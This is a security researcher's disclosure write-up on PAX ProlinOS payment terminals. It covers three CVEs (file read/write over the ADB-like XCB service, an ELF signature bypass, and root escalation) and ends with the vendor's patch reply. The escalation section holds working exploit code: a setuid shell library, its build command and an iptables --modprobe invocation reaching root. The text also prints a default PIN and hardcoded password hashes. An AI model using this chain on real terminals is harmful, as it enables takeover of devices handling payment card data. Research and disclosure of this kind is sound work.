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Greetz
Most work done by me. Special thanks to cogitoergor00t and all the JBZ crew.
Intro
PAX is a Chinese manufacturer of payment devices, and as per their claim they have sold more than 34 million units in 110 countries.
They mainly have two kinds of products, those based on ProlinOS, which is a custom OS developed by them and derived from Android and those based directly on a more vanilla Android.
This research is focused on the devices running ProlinOS, which are:
D190
D200
D210
Q80
Q92
S80
S300
S800
S900
S920
Other models might be running ProlinOS too but their specification is not detailed on the official PAX website.
For this research, I have bought a S900 from eBay and was lucky enough to find a used model targeted at developers. I will specify when something applies only to the developer model and not the production ones, although very little differs in terms of vulnerabilities.
CVEs
- Arbitrary read/write - CVE-2020-28044
- ELF signature bypass - CVE-2020-28045
- Root privesc - CVE-2020-28046
Pictures
Resources
Before starting the analysis, I found the following resources very useful:
PDF:
- http://files.nilsoft.ru/Termassist/Prolin2.X_User_Guide(V1.0.7).pdf
- https://usermanual.wiki/Document/Prolin20TermAssist20Operating20Guidev300.2027739282/view
- https://usermanual.wiki/Document/Prolin20Terminal20Manager20Operating20Guide20v201.172265983/view
- https://docs.cloudwalk.io/en/framework/pax
- https://docs.cloudwalk.io/en/framework/pax-linux
Files:
FCC Documents:
It's possible to see clearly from the Internal Photos PDF that the device has an additional battery and multiple anti-tampering contacts; there's also a warranty sticker on the side. Hardware attacks are probably possible, but out of scope here as I lack both skills and equipment to work in that direction. Furthermore, a hardware attack would be more difficult to execute in real-life scenarios because of the circumstances in which a POS is used.
Hardware Info
The device has a color display, WiFi, GSM, Bluetooth, an AC charging port, and two mini USB ports. From the specifications, one is used for serial communication and the other one for USB communication. It has a Broadcom BCM5892, 128MB of flash and 64MB of RAM.
ProlinOS
ProlinOS is a minimal Linux distribution, probably derived from Android.
Communication
The device needs to be rebooted into the management interface (called TM). To do so on the S900 press the number 2 repeatedly during boot (even after the SELF-TEST screen). On the D200 do the same but with the key F2. Other devices have probably similar keys, and they can be guessed in a few attempts.
From there go to System Config. enter the default pin which is 123456 and enable the XCB service. The XCB service can run both via the serial interface and network, depending on the model and the version of ProlinOS. For the serial interface, use the driver provided in the links in the Intro section, for the network interface, first connect the device to a WiFi network and the service will be on <ip>:5555.
The development kit found online is composed of a GUI called TermAssist on Windows and an executable, called xcb. It turns out that TermAssist is just an interface of xcb.
It turns out, that, although xcb calls itself Xos Communication Bridge it's just a slightly modified version android ADB.
I reversed the client and modified python-adb accordingly (and also added code to make it work over serial interface). Here's the repository for the custom client. Pull request to add serial support to python-adb.
shell functionality has been removed, as many others, but push, pull, ls and port forwarding are still available even if not present in the program help.
Supposedly, xcb is intended only for adding applications to the device (which needs to be signed), updating ProlinOS (again, signed stuff), adding assets to existing applications (images, front, etc all unsigned) and eventually adding user-provided keys for signing packages. It is yet unclear to me if user-provided keys need to be signed by the manufacturer and in which format they are to be supplied because I didn't look into it.
There's also a telnet command which will port forward to the local machine a telnet daemon. This command will only work on development devices because the whole telnet binary is removed from busybox on production devices.
Debug Level
Devices have three debug levels:
- 0 -> Production devices, busybox has no
shnor telnet,xcbworks - 1 -> Application development devices,
busyboxhas bothshandtelnet. There's also a handygdbserverin place. Root access is disabled, kernel, kernel modules, and some PAX configuration and binaries are not readable - 2 -> Prolin development devices,
rootshould be available with a hardcoded password
We'll see that from debug level 0 it is possible to escalate to root privileges.
The pos used for this article is in debug level 1. A production device won't have a working telnet/shell by default. However that functionality can be restored by overwriting a shared library using the arbitrary read/write in XCB or by porting the already signed binaries from a debug device.
Basic Linux info
From the development S900:
~ $ uname -a
Linux localhost 3.0.56+ #1 Wed Mar 9 13:09:46 CST 2016 armv6l GNU/Linux
~ $ netstat -a
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.1:7037 0.0.0.0:* LISTEN
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node Path
unix 2 [ ACC ] STREAM LISTENING 842 /dev/socket/property_service
unix 2 [ ACC ] STREAM LISTENING 869 /tmp/crashd
unix 2 [ ACC ] STREAM LISTENING 877 /tmp/MODEM_DAEMON_SERVER
unix 2 [ ACC ] STREAM LISTENING 880 /tmp/MODEM_POWER
unix 2 [ ACC ] STREAM LISTENING 885 /tmp/pm_socket
unix 2 [ ] DGRAM 900 /var/run/wpa_supplicant/wlan0
unix 2 [ ACC ] STREAM LISTENING 913 /tmp/PED_DAEMON_SERVER
unix 2 [ ACC ] STREAM LISTENING 917 /tmp/PED_SHUTDOWN_SERVER
unix 2 [ ACC ] STREAM LISTENING 929 /tmp/ipservice_server
unix 3 [ ] STREAM CONNECTED 971
unix 3 [ ] STREAM CONNECTED 970
unix 3 [ ] STREAM CONNECTED 944
unix 3 [ ] STREAM CONNECTED 943
unix 3 [ ] STREAM CONNECTED 888
unix 3 [ ] STREAM CONNECTED 887
unix 3 [ ] STREAM CONNECTED 873
unix 3 [ ] STREAM CONNECTED 872
unix 3 [ ] STREAM CONNECTED 868
unix 3 [ ] STREAM CONNECTED 867
unix 3 [ ] STREAM CONNECTED 845
unix 3 [ ] STREAM CONNECTED 844
~ $ ls /bin
[ chown false killall ls mknod ps rz sync true yes
[[ clear find less lsb mount pwd sb sz udhcpc6
ash cp gdbserver ln lsx mv rb setprop tee umount
busybox date getprop lock lsz netstat readlink sh test uname
cat dmesg hexdump lrb md5sum nice rm sleep time vi
chgrp echo id lrx mkdir ping rmdir su top wget
chmod env kill lrz mkfifo ping6 rx sx touch xlogin
~ $ ls /usr/bin/
crashd ip6tables-save logcat systemservice xcbd
devinfo ipservice logwrapper tm xtables-multi
gpsd iptables modemd ts_calibrate
installer iptables-restore pedd wpa_supplicant
ip6tables iptables-save runapp wpa_supplicant_ap6181
ip6tables-restore keyman servicemanager xcb
~ $ lsmod
Module Size Used by Tainted: P
lcd_panel_TM035KBH08_36 2917 0
lcd_hw_ctrl 3175 0
lcd_fb 6024 2
asix 41551 0
prt_printer 259191 0
logger 265925 14
rsi_master 53658 0
rsi_client 210076 1 rsi_master
ads7846 7341 0
bcm589x_i2s 7153 0
verify 3046 0
bcm589x_sec 12844 0
bcm5892_bbl 7412 1
pcd_rc663 13826 0
pcd_base 6173 0
msr 15271 0
sci_bcm5892_tda8026 21068 0
keypad_matrix 5211 0
input_base 8589 2 ads7846,keypad_matrix
misc 6270 0
pmu_dummy 2878 4
bm_bq24103 1946 0
tty_host 10608 0
tty_devices 89511 2
bcm589x_otg 169745 1 tty_devices
bcm589x_dwccom 25580 1 bcm589x_otg
pm_bcm5892 3845 2 msr,keypad_matrix
ioconfig 8120 3 msr,sci_bcm5892_tda8026,keypad_matrix
S900_M07_P05_GPRS_MG323 2525 3 prt_printer,bm_bq24103,bcm589x_otg
devices_base 26185 7 pcd_base,msr,sci_bcm5892_tda8026,tty_host,tty_devices,bcm589x_otg,S900_M07_P05_GPRS_MG323
bcm5892_rtc 4938 0
Vulnerabilities
Arbitrary Read/Write (CVE-2020-28044)
As described in the "Communication" section, it is possible to list, read and write file and folders with MAINAPP permissions via XCB.
Signature Bypass and Code Execution (CVE-2020-28045)
Although ELF files need to be signed in order to be executed (later we'll see how), libraries apparently do not. This means that it is possible to run custom executables without issues, given that we have a working shell and LD_PRELOAD is working or that, even without a shell, we can overwrite a library in use by some application.
installer, which is the executable being called by xcbd (the xcb daemon server, like adbd) is responsible for verifying binary files before adding them. This does not mean that the kernel doesn't check again (it does) but means that ELF signature verification is available via userspace and is provided by a kernel module.
It simply opens the device /dev/verify, uses some ioctl calls and send the executable file. Depending on the ioctl results it is possible to determine if a binary file has been correctly signed. As per the signature format, it's possible to guess that it is simply made by an RSA 2048 signature appended at the end of the file plus the string SIGNED_VER:00001.
Privilege Escalation (CVE-2020-28046)
By looking into the device, there are mainly two possible vectors of privilege escalation which are:
- The outdated kernel is vulnerable to dirtycow and many other kernel exploits
- The only
setuidbinary isxtables-multi
I did try a couple of dirtycow payloads but they didn't work. I'm no kernel hacker and I have no privileges to debug the kernel (which by the way has been modified by PAX developers) so the xtables-multi binary looks more promising.
For those who don't know, xtables-multi is xtables multi-link binary for Netfilter's iptables and ip6tables .
xtables-multi
ERROR: No valid subcommand given.
Valid subcommands:
* iptables
* main4
* iptables-save
* save4
* iptables-restore
* restore4
* iptables-xml
* xml
* ip6tables
* main6
* ip6tables-save
* save6
* ip6tables-restore
* restore6
~ $ xtables-multi iptables
iptables v1.4.21: no command specified
Try `iptables -h' or 'iptables --help' for more information.
As we can see the version is not so new.
By just searching, in theory, it should be vulnerable to CVE-2019-11360.
After a brief look at our xtables-multi binary which seems to have not been greatly modified from the original, and by looking at the source code of version 1.4.21, it's possible to see that it should indeed be vulnerable:
- In iptables-restore.c there's the original buffer overflow as described by the original author of the CVE
- It's also true for ip6tables-restore.c
- There's an additional vulnerability, almost identical to the other two in iptables-xml.c. We can see that a quoted string can exceed the
param_buffer[1024]and is then written there usingstrncpy(param_buffer, param_start, param_len);and there are no length checks. It has been fixed in the same commit of the first two, but the code has been removed before the release of the fixed version so i guess that the Netfilter developers noticed it.
With a couple of test it is possible to obtain a Segfault in both cases. ASLR is enabled and the NX bit is set, but no other protections seem to be present.
This way looked promising but in the meantime, we found a simpler way.
Iptables has a --modprobe options which is present in the usage documentation but is not greatly explicited on what it accepts and on how does it work. I already used it for a privilege escalation in a local CTF when the iptables binary was the only command allowed in sudoers.
As on how does it work it basically executes the command provided to the --modprobe switch, which might be an executable or a shell script. The main requirement is that the required module must be missing (otherwise the whole modprobe thing is useless), meaning that for example the nat module must be unloaded.
~ $ iptables -t nat -L
iptables v1.4.21: can't initialize iptables table `nat': Table does not exist (do you need to insmod?)
Perhaps iptables or your kernel needs to be upgraded.
So the first requirement is satisfied. However, it didn't work because the command didn't get executed because as it turns out, before attempting to load the module manually the code will check if the /proc/net/ip_tables_names file exists and use it as a reference.
~ $ ls -lart /proc/net/ip_tables_names
-r--r----- 1 root root 0 Jun 1 17:29 /proc/net/ip_tables_names
Luckily there's also ip6tables which requires a different file, called /proc/net/ip6_tables_names and since we all know that the world is not IPv6 ready, this one indeed doesn't exists.
~ $ ls /proc/net/ip6_tables_names
ls: /proc/net/ip6_tables_names: No such file or directory
Lastly, we need a signed executable to run or a script (scripts do work because the interpreter, busybox is signed). Unfortunately, busybox, if run this way will instantly drop its privileges.
Also, we cannot pass LD_PRELOAD to an execv call so the only way is to actually swap a library used by a signed executable that we can call.
Luckily, on my device there are two user-installed apps (every working terminal must have at least one) and they both use shared libraries which are writeable by the low privileged user. I wouldn't say that this itself is some kind of vulnerability because our current user is indeed the user responsible for installing (and thus if required overwriting) the applications and their assets.
So, some simple code like:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
int _init() {
unsetenv("LD_PRELOAD");
puts("LD_PRELOAD is working!");
setreuid(0, 0);
setuid(0);
printf("UID: %d. EUID: %d.\n", getuid(), geteuid());
system("/bin/sh");
exit(0);
}
Cross compiled:
arm-none-eabi-gcc -shared -fPIC -o privesc.so privesc.c -nostartfiles -static
Here are the two executables which are user writeable:
~ $ ls /data/app/MAINAPP/bin/
MablApp MerchantDeviceApp
Required libraries:
host:/# arm-none-eabi-objdump -x MablApp | grep NEEDED
NEEDED libosal.so
NEEDED libarchive.so.13
NEEDED libsqlite3.so
NEEDED libcrypto.so.1.0.0
NEEDED libz.so.1
NEEDED libfreetype.so.6
NEEDED libpng12.so.0
NEEDED libpthread.so.0
NEEDED libts-1.0.so.0
NEEDED libxui.so
NEEDED libgcc_s.so.1
NEEDED libc.so.6
These libraries, on the device are in /data/app/MAINAPP/lib/. I choose to overwrite libsqlite3.so with privesc.so:
/data/app/MAINAPP $ id
uid=999(MAINAPP) gid=999(MAINAPP) groups=1(system),2(hwdev),999(MAINAPP),999(MAINAPP)
/data/app/MAINAPP $ xtables-multi ip6tables -t nat -L --modprobe=/data/app/MAINAPP/bin/MablApp
LD_PRELOAD is working!
My UID is: 0. My GID is: 999. My EUID is: 0
BusyBox v1.22.1 (2016-03-09 12:47:22 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
/data/app/MAINAPP # id
uid=0(root) gid=999(MAINAPP) egid=0(root) groups=1(system),2(hwdev),999(MAINAPP),999(MAINAPP)
System Analysis
The bootloader is U-Boot.
This is the partition scheme:
dev: size erasesize name
mtd0: 000c0000 00020000 "boot" <- U-Boot image
mtd1: 00080000 00020000 "nvram_fac" <- U-Boot environment
mtd2: 000c0000 00020000 "boot_res" <- Boot resources, ie: boot logo
mtd3: 00400000 00020000 "kernel" <- kernel binary
mtd4: 00600000 00020000 "ramdisk" <- ramdisk containit init and kernel modules
mtd5: 00600000 00020000 "base" <- base system, including binaries and libraries
mtd6: 06e00000 00020000 "data" <- user data, application executables, library and assets
The file init.rc gives an idea on how the system is started and how different debug levels are handled.
/usr/bin/tm is the binary responsible for the GUI management. The system password is AES encrypted and is stored in a user readable property:
A lot of interesting functions are done trough kernel modules, available here.
Hardware driver are implemented via a low level kernel module and a higher level abastraction module, and are available via the libosal.so library.
In the case of this hardware revision of the S900, For the RFID reader:
pcd_rc663.ko -> Hardware driver
pcd_base.ko -> Middleware, creates /dev/pcd
libosal.so -> Shared library, provides the OsPicc* functions trough interacting with /dev/pcd
For the magnetic stripe reader the family of functions is OSMsr* that uses the /dev/msr device and for SmartCards there are the OsIcc* functions that use the /dev/usercard device.
The graphic interface library is libxui.so.
Further Reasearch
By finding a vulnerability in a Merchant App, in libosal.so or in one in the kernel drivers a remote attack via a payment vector is theoretically possible. Unfortunately, due to the lack of second hand production PoS in the used market, I'm unable to get a test device with a working Merchant App unless I open a contract with a bank (which I don't want to). If anyone has contacts or is willing to provide one, or need assistance for futher research drop me an email or a tweet.
Reporting
I tried contacting several times PAX Global via email and never got a reply related to anything: neither about the security vulneabilities, neither on inquiries about the source code for the GPL licensed software (Linux/U-Boot).
Update
Following this public disclosure PAX got in touch with me. It turned out my previous emails on June 2020 were marked as spam and never read. Here's their official answer for the following two question:
- Don't you have a patch distribution method and a remediation plan for vulnerabilities in your devices?
We apply relevant security patches to all software components we use.
For vulnerabilities •Arbitrary read/write - CVE-2020-28044, •ELF signature bypass - CVE-2020-28045 and •Root privesc - CVE-2020-28046, we have fixed them these days and the firmware is under releasing.
For vulnerabilities "Dirty COW", our kernel had "Dirty COW" patch included once CVE-2016-5195 had been published.
- Do you plan to release the source code, patches and build scripts for the modifications to the GPL licensed code?
We certainly do comply with GPL version requirements, and had provided source code at requests before several years ago. Since we do not have automated or semi-automated procedure for that, we may need up to several weeks to review and isolate our proprietary code, and adjust the build scripts for the redaction.
Fun fact
I had issues understanding the shadow password format:
root:vCTc/8H/1/QoEXNamPGzhVGar/:0:0:99999:7:::
system:!/hEAV1:0:0:99999:7:::
hwdev:!.:0:0:99999:7:::
ped:!/:0:0:99999:7:::
SUBAPP:!:0:0:99999:7:::
MAINAPP:.olBn7f02Wgf.:0:0:99999:7:::
Until I found how that file is being generated (/startup/data-skeleton.sh):
[..]
/bin/cat << EOD > /data/etc/shadow
root:$1$9vCTc/8H$lRt/1/QoEXNamPGzhVGar/:0:0:99999:7:::
system:!$1$phzwtsL4$Qso0Z3H5eqoSUXwQ/hEAV1:0:0:99999:7:::
hwdev:!$1$jDG2WeUj$uM3mIyvZ1rkd11J7izXt6.:0:0:99999:7:::
ped:!$1$ZMsJtrjO$ibuMCiJvuyxQnrpkdptup/:0:0:99999:7:::
SUBAPP:!$1$gJUpez2c$U0Qv9IyoUAgD5cTSumbKB0:0:0:99999:7:::
MAINAPP:$1$wsdZqcgf$zD5mTBbZs.olBn7f02Wgf.:0:0:99999:7:::
EOD
/bin/chmod 0640 /data/etc/shadow
[..]
...